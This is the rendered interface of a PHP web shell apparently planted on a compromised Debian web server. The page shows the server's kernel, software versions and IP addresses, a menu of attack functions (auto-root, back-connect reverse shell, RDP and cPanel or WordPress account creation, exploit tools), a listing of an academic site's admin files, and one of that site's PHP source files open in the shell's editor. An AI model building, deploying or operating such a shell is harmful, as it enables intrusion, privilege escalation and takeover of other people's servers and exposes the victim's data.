Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.12.71.166
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
protected /
Pages /
Admin /
[ HOME SHELL ]
Name
Size
Permission
Action
ClassCatalog.page
18.95
KB
-rw-r--r--
ClassCatalog.php
16.13
KB
-rw-r--r--
ClassMaterials.page
2.26
KB
-rw-r--r--
ClassMaterials.php
4.73
KB
-rw-r--r--
ClassSchedule.page
1.58
KB
-rw-r--r--
ClassSchedule.php
1.26
KB
-rw-r--r--
ClassScheduleBlockEdit.page
2.7
KB
-rw-r--r--
ClassScheduleBlockEdit.php
7.7
KB
-rw-r--r--
ContentBrowse.page
1.41
KB
-rw-r--r--
ContentBrowse.php
4.16
KB
-rw-r--r--
GlobalPapersEdit.page
3.43
KB
-rw-r--r--
GlobalPapersList.php
1.37
KB
-rw-r--r--
Home.page
43
B
-rw-r--r--
Login.page
670
B
-rw-r--r--
Login.php
446
B
-rw-r--r--
NewsItemEdit.page
3.1
KB
-rw-r--r--
NewsItemEdit.php
2.25
KB
-rw-r--r--
NewsItemImageEdit.page
1.49
KB
-rw-r--r--
NewsItemImageEdit.php
3.97
KB
-rw-r--r--
NewsItems.page
2.08
KB
-rw-r--r--
NewsItems.php
1.46
KB
-rw-r--r--
PaperCoverEdit.page
1.47
KB
-rw-r--r--
PaperCoverEdit.php
4.08
KB
-rw-r--r--
PapersEdit.page
5.44
KB
-rw-r--r--
PapersEdit.php
12.44
KB
-rw-r--r--
PasswordChange.page
511
B
-rw-r--r--
PasswordChange.php
1.16
KB
-rw-r--r--
RightBoxEdit.page
2.54
KB
-rw-r--r--
RightBoxEdit.php
4.1
KB
-rw-r--r--
RightBoxImageEdit.page
1.47
KB
-rw-r--r--
RightBoxImageEdit.php
4.11
KB
-rw-r--r--
RightBoxesList.page
1.52
KB
-rw-r--r--
RightBoxesList.php
1.47
KB
-rw-r--r--
UserBrowse.page
3.54
KB
-rw-r--r--
UserBrowse.php
2.79
KB
-rw-r--r--
UserCreate.page
1.86
KB
-rw-r--r--
UserCreate.php
1.52
KB
-rw-r--r--
UserEdit.page
8.95
KB
-rw-r--r--
UserEdit.php
8.9
KB
-rw-r--r--
UserPapers.page
3.63
KB
-rw-r--r--
UserPapers.php
1.74
KB
-rw-r--r--
UserPhotoEdit.page
1.5
KB
-rw-r--r--
UserPhotoEdit.php
3.96
KB
-rw-r--r--
config.xml
227
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ClassMaterials.php
<?php class ClassMaterials extends KAdminPage { private $_Class; public function onLoad($p) { parent::onLoad($p); if (is_numeric($this->Request['uid'])) { if (is_numeric($this->Request['cid'])) { $cid = $this->Request['cid']; $this->_Class = KClass::finder()->findByPk($cid); if ($this->Class instanceof KClass) { if (!$this->isPostBack && !$this->isCallBack) $this->bindData(); } else parent::Error("Błędny identyfikator zajęć!"); } } else parent::Error("Błędny identyfikator prowadzącego!"); //echo TVarDumper::dump($this->Request, 2); } public function getClass() { return $this->_Class; } public function bindData() { $this->Heading->Text = $this->Class->name." (".KClass::$_group_names[$this->Class->group_id].")"; $crit = new TActiveRecordCriteria; $crit->OrdersBy['added_date'] = 'asc'; $crit->Condition = ' user_id = '.$this->Request['uid'].' and class_id = '.$this->Request['cid']; $files = KClassMaterialFile::finder()->findAll($crit); $this->FileList->setDataSource($files); $this->FileList->dataBind(); } public function commandParser($sender, $param) { switch($param->CommandName) { case "deleteFile": $this->deleteFile($sender, $param); break; } } public function saveFile($sender, $param) { $_cm = KClassMaterialFile::finder()->findByPk($this->FileList->DataKeys[$param->Item->ItemIndex]); if (!$_cm instanceof KClassMaterialFile) { $_cm = new KClassMaterialFile; $_cm->user_id = $this->Request['uid']; $_cm->class_id = $this->Request['cid']; //$_cm->added_date = 'NOW()'; } /*if ($param->Item->FilenameControlColumn->TempFilename->Value != '') { if (!is_null($_cm->filename) && file_exists($_cm->filename)) unlink($this->Application->Parameters['CLASSMATERIALS_PATH'].'/'.$_cm->filename); $tempfilepath = $this->Application->Parameters['TEMP_PATH'].'/'.$param->Item->FilenameControlColumn->TempFilename->Value; $targetpath = $this->Application->Parameters['CLASSMATERIALS_PATH'].'/'.$param->Item->FilenameControlColumn->TempFilename->Value; $_cm->filename = $param->Item->FilenameControlColumn->TempFilename->Value; rename($tempfilepath, $targetpath); @unlink($tempfilepath); }*/ $_cm->name = $param->Item->NameColumn->TextBox->SafeText; $_cm->visible = $param->Item->VisibleColumn->CheckBox->Checked; $_cm->save(); $this->FileList->EditItemIndex = -1; $this->bindData(); } public function cancelEdit($sender, $param) { //if ($param->Item->FilenameControlColumn->TempFilename->Value != '') // unlink($this->Application->Parameters['TEMP_PATH'].'/'.$param->Item->FilenameControlColumn->TempFilename->Value); $this->FileList->EditItemIndex = -1; $this->bindData(); } public function editFile($sender, $param) { $this->FileList->EditItemIndex = $param->Item->ItemIndex; $this->bindData(); } public function deleteFile($sender, $param) { $_cm = KClassMaterialFile::finder()->findByPk($this->FileList->DataKeys[$param->Item->ItemIndex]); $_cm->delete(); $this->FileList->EditItemIndex = -1; $this->bindData(); } public function addNewFile() { $crit = new TActiveRecordCriteria; $crit->OrdersBy['added_date'] = 'asc'; $crit->Condition = ' user_id = '.$this->Request['uid'].' and class_id = '.$this->Request['cid']; $files = KClassMaterialFile::finder()->findAll($crit); $files[] = new KClassMaterialFile; $this->FileList->EditItemIndex = count($files)-1; $this->FileList->setDataSource($files); $this->FileList->dataBind(); } public function itemCreated($sender, $param) { $item = $param->Item; if ($item->ItemType == "Item" || $item->ItemType == "AlternatingItem") { $item->DeleteColumn->Button->Attributes->add("onClick", "if (!confirm('Czy jesteś pewien?\\n\\nUSUNIĘCIA PLIKU NIE DA SIĘ COFNĄĆ!')) return false;"); } if ($item->ItemType == "EditItem") { $item->NameColumn->TextBox->Width = "95%"; } } public function uploadFile($sender, $param) { //$this->bindData(); if ($sender->HasFile) { if ($sender->ErrorCode == 0) { $filename=substr(md5(microtime()), 0, 5).'_'.$sender->FileName; $filepath=$this->Application->Parameters['TEMP_PATH'].'/'.$filename; if ($sender->saveAs($filepath)) { $sender->parent->FileUploadLabel->Text=$filename; $sender->parent->TempFilename->Value=$filename; $sender->parent->FileUpload->Visible=false; } } else $this->Master->messageError("Błąd przy dodawaniu pliku - ".$sender->ErrorCode); } //$this->bindData(); } public function backToProfile() { $this->response->redirect($this->Service->constructUrl('Admin.UserEdit', array('uid'=>$this->Request['uid']))); } } ?>
Close